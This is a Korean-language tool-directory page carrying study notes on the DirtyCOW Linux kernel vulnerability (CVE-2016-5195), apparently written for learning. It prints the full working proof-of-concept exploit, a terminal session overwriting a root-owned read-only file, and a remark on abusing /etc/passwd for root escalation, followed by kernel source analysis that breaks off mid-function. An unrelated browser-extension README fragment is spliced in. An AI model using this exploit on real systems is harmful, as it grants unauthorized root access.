Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2016-5195 — DirtyCOW 노트 | Kitploit
도구/GitHubGitHub/asuka39/cve-2016-5195
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationBinary Exploitation
GitHubasuka39/cve-2016-5195

CVE-2016-5195

DirtyCOW 노트

저장소 보기
2년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2016-5195 DirtyCOW

PoC

  • dirtycow.github.io에서 수정```c #include <stdio.h> #include <sys/mman.h> #include <fcntl.h> #include <pthread.h> #include <unistd.h> #include <sys/stat.h> #include <string.h> #include <stdint.h>

void *map; int f; struct stat st; char *name;

void *madviseThread(void *arg) { char str; str = (char)arg; int i, c = 0; for(i = 0; i < 100000000; i++) { c += madvise(map, 100, MADV_DONTNEED); } printf("madvise %d\n\n", c); }

void *procselfmemThread(void *arg) { char str; str = (char)arg;

int f = open("/proc/self/mem", O_RDWR); int i, c = 0; for(i = 0; i < 100000000; i++) { lseek(f, (uintptr_t)map, SEEK_SET); c += write(f, str, strlen(str)); } printf("procselfmem %d\n\n", c); }

int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content"); return 1; } pthread_t pth1, pth2;

f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];

map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);

pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);

pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }

[中文](https://github.com/asuka39/cve-2016-5195/blob/main/README.md)・[English](https://github.com/asuka39/cve-2016-5195/blob/main/README_EN.md) ・[日本語](https://github.com/asuka39/cve-2016-5195/blob/main/README_JA.md) ・[Español](https://github.com/asuka39/cve-2016-5195/blob/main/README_ES.md) ・[Português](https://github.com/asuka39/cve-2016-5195/blob/main/README_PT.md) ・[Français](https://github.com/asuka39/cve-2016-5195/blob/main/README_FR.md) ・[Deutsch](https://github.com/asuka39/cve-2016-5195/blob/main/README_DE.md) ・[Русский](https://github.com/asuka39/cve-2016-5195/blob/main/README_RU.md)

![cover](https://raw.githubusercontent.com/asuka39/cve-2016-5195/main/HotKeyBooster-Header.png)

<p align="center">
<a href="https://github.com/nicepkg/hotkey-booster"><img src="https://img.shields.io/github/stars/nicepkg/hotkey-booster?style=social" alt="GitHub stars"></a>
<a href="https://github.com/nicepkg/hotkey-booster"><img src="https://img.shields.io/github/forks/nicepkg/hotkey-booster?style=social" alt="GitHub forks"></a>
<a href="https://github.com/nicepkg/hotkey-booster"><img src="https://img.shields.io/github/license/nicepkg/hotkey-booster" alt="License"></a>
</p>

<h4 align="center">어떤 웹 페이지에도 한 번의 클릭으로 단축키 프롬프트 추가</h4>```
$ sudo su
# echo "READ ONLY" > flag.txt
# chmod 0404 flag.txt
# exit
$
$ ll flag.txt 
-r-----r-- 1 root root 10 flag.txt
$ echo "aaaaaa" > flag.txt
Permission Denied
$
$ gcc -pthread dirty.c -o dirty
$ ./dirty flag.txt aaaaaa
mmap 7f1a35bc4000

procselfmem -2094967296

madvise 0
$ cat flag.txt
aaaaaa

비교적 흔한 이용 수법은 권한을 초과하여 /etc/passwd를 작성하여 root 사용자를 수정하거나 사용자 권한을 수정하여 권한 상승을 하는 것입니다.

분석

익스플로잇 분석

먼저 exp가 무엇을 하는지 살펴보겠습니다.```c int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n","usage: dirtyc0w target_file new_content"); return 1; }

pthread_t pth1, pth2; f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];

map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);

pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);

pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }

- 먼저 pthread를 호출하여 두 개의 스레드를 생성합니다
- 그런 다음 `fopen`으로 읽기 전용 대상 파일 `argv[1]`을 엽니다
- 파일을 `mmap`으로 메모리에 매핑합니다(주소는 무작위). `MAP_PRIVATE`의 역할은 Task 전용 메모리 매핑을 생성하는 것입니다. 다른 Task가 이 메모리에 쓰기를 시도하면, 해당 프로세스는 쓰기 전에 먼저 복사본을 만든 후에 쓰기를 수행합니다. 이를 통해 자식 프로세스나 스레드를 생성할 때 전체 메모리 공간을 복사하는 데 많은 시간과 공간을 소비하지 않으면서도 Task 간의 동시 메모리 작업이 서로 영향을 미치지 않도록 보장할 수 있습니다. 이것이 Copy-On-Write입니다.
- 이어서 두 개의 스레드를 시작합니다. 하나는 `madviseThread`를 실행하고, 다른 하나는 `procselfmemThread`를 실행합니다.

그런 다음 두 스레드의 실행 본문을 살펴봅니다.

- 한 스레드는 파일 매핑에 대해 `madvise`를 호출하여 커널에 매핑된 메모리 또는 공유 메모리의 사용 상황을 알립니다. `MADV_DONTNEED`는 앞으로 이 메모리 영역을 더 이상 사용하지 않음을 나타내며, 커널은 이를 해제할 수 있습니다.
- 다른 스레드는 읽기-쓰기 권한으로 `/proc/self/mem`을 엽니다. 이 파일은 프로세스 자체의 가상 메모리에 대한 파일 매핑입니다. 그런 다음 계속해서 파일에 대상 정보를 쓰려고 시도합니다.```c
void *madviseThread(void *arg) {
  char *str;
  str = (char*)arg;
  int i, c = 0;
  for(i = 0; i < 100000000; i++) {
    c += madvise(map, 100, MADV_DONTNEED);
  }
  printf("madvise %d\n\n", c);
}
 
void *procselfmemThread(void *arg) {
  char *str;
  str = (char*)arg;

  int f = open("/proc/self/mem", O_RDWR);
  int i, c = 0;
  for(i = 0; i < 100000000; i++) {
    lseek(f, (uintptr_t)map, SEEK_SET);
    c += write(f, str, strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}

최종적으로, 두 스레드의 연속적인 공격으로 인해 커널에 경쟁 취약점이 발생하여 procselfmemThread가 읽기 전용 파일에 성공적으로 썼습니다.

커널 분석

  • 전제: mmap은 vma에 메모리 매핑만 설정할 뿐, 실제로 매핑된 파일을 물리적 페이지 프레임에 넣지는 않습니다. 따라서 처음으로 write로 파일에 쓰려고 하면 반드시 페이지 폴트 예외가 발생합니다.
  • 여기서 선택한 커널 버전은 4.4입니다.

쓰기(write) 시 어떤 일이 발생하는가

mem_rw

write부터 분석을 시작합니다. 파일에 대한 모든 작업은 해당 파일이 속한 파일 시스템이 VFS에 등록한 가상 테이블 file_operations를 거쳐야 합니다. /proc의 파일은 procfs에 의해 구현되며, proc_mem_operations를 찾으면 write가 mem_write에 바인딩되어 있음을 알 수 있습니다.```c static const struct file_operations proc_mem_operations = { .llseek = mem_lseek, .read = mem_read, .write = mem_write, .open = mem_open, .release = mem_release, };

`mem_write`는 `mem_rw`의 래퍼(write 플래그가 1로 설정됨)입니다. `mem_rw`의 주요 흐름은 다음과 같습니다.

- 먼저 `__get_free_page`를 통해 임시 빈 페이지를 할당하여 버퍼로 사용합니다.
- 쓰기 작업의 경우 `copy_from_user`를 호출하여 쓸 데이터를 임시 페이지에 복사합니다.
- 그런 다음 `access_remote_vm`을 사용하여 대상 데이터를 빈 페이지로 읽거나(읽기) 버퍼의 내용을 대상 주소에 씁니다(쓰기).
  - 소위 remote는 본 프로세스가 다른 프로세스의 메모리 매핑 파일을 읽거나 쓸 수 있기 때문이며, 이는 프로세스가 다른 프로세스의 주소 공간에 접근할 수 있음을 의미합니다. 이 점이 다른 memory filesystem과 다릅니다.
- 읽기 작업의 경우 이전 단계에서 빈 페이지로 읽은 데이터를 사용자 버퍼에 다시 씁니다.```c
static ssize_t mem_rw(struct file *file, char __user *buf,
			size_t count, loff_t *ppos, int write)
{
	struct mm_struct *mm = file->private_data;
	unsigned long addr = *ppos;
	ssize_t copied;
	char *page;

	if (!mm)
		return 0;

	page = (char *)__get_free_page(GFP_TEMPORARY);	// 申请临时空闲页面
	if (!page)
		return -ENOMEM;

	copied = 0;
	if (!atomic_inc_not_zero(&mm->mm_users))
		goto free;

	while (count > 0) {
		int this_len = min_t(int, count, PAGE_SIZE);	// 本次读取/写入数据长度,单次最大为PAGE_SIZE

		if (write && copy_from_user(page, buf, this_len)) {		// 若是写操作,从用户空间拷贝待写数据到临时空闲页面
			copied = -EFAULT;
			break;
		}

		this_len = access_remote_vm(mm, addr, page, this_len, write);	// 读取/写入数据到临时空闲页面
		if (!this_len) {
			if (!copied)
				copied = -EIO;
			break;
		}

		if (!write && copy_to_user(buf, page, this_len)) {	// 若是读操作,将读取到的数据从临时空闲页面拷贝数据到用户空间
			copied = -EFAULT;
			break;
		}

		buf += this_len;
		addr += this_len;
		copied += this_len;
		count -= this_len;
	}
	*ppos = addr;

	mmput(mm);
free:
	free_page((unsigned long) page);	// 释放临时空闲页面
	return copied;
}
__access_remote_vm

access_remote_vm은 __access_remote_vm의 래퍼(wrapper)이며, 주요 흐름은 다음과 같습니다.

  • get_user_pages는 주소 대상 addr이 위치한 page struct를 가져옵니다.

  • 성공적으로 가져오면 kmap을 호출하여 page를 커널의 high memory에 매핑합니다(page는 물리 페이지를 참조).

  • 메모리 접근이 쓰기 작업이면 데이터를 작성한 후 더티 비트(dirty bit)를 설정하고, 읽기 작업이면 데이터를 읽어오면 됩니다.```c static int __access_remote_vm(struct task_struct *tsk, struct mm_struct *mm, unsigned long addr, void *buf, int len, int write) { struct vm_area_struct *vma; void *old_buf = buf;

    down_read(&mm->mmap_sem); /* ignore errors, just check how much was successfully transferred */ while (len) { int bytes, ret, offset; void *maddr; struct page *page = NULL;

도구 다운로드